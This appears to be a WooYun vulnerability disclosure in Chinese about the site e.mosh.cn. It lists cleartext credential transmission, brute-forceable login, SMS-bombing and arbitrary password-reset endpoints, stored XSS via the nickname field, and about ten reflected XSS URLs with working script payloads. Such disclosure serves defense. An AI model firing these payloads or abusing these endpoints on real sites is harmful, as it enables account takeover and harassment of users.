WooYun.org

1、明文传输敏感信息+爆破账户密码；
http://e.mosh.cn/user/ajaxcheckusererr
http://e.mosh.cn/user/dologin
2、短信炸弹
http://e.mosh.cn/user/dofindpwd
http://e.mosh.cn/user/resendmsg
3、XSS跨站攻击；
①反射型(满站都是)：
http://e.mosh.cn/user/citylist?jsoncallback=jQuery1720026548518100753427_1448341015069}}b9a4f<script>alert(1)<%2fscript>513d9&a_id=8&_=1448341019799
http://e.mosh.cn/god/getcontent?jsoncallback=jQuery1720026548518100753427_1448341015069}}b9a4f<script>alert(1)<%2fscript>513d9&a_id=8&_=1448341019799
http://e.mosh.cn/user?5c7a6--><script>alert(1)</script>816d0=1
http://e.mosh.cn/user/boundsina?39628"><script>alert(1)<%2fscript>8d908=1
http://e.mosh.cn/user/citylist?jsoncallback=jQuery17201882282157894224_144834055939598715%3balert(1)%2f%2f147&pid=1&_=1448340559798
http://e.mosh.cn/user/editnews?8fda3"><script>alert(1)<%2fscript>59ae1=1
http://e.mosh.cn/user/index?refer=http://e.mosh.cn/user/editnews?8fda3"><script>alert(1)<%2fscript>59ae1=1
http://e.mosh.cn/user/findpwd?28d19"><script>alert(1)</script>ac919=1
http://e.mosh.cn/user/register?refer=http://e.mosh.cn/fd77d--><script>alert(1)</script>bf033
http://e.mosh.cn/user/weaccredit?a339a--><script>alert(1)</script>6da7a=1
②存储型(nickname参数，影响全站，评论哪儿打哪儿)：
http://e.mosh.cn/user/editinfo
4、任意用户密码重置。
http://e.mosh.cn/user/dofindpwd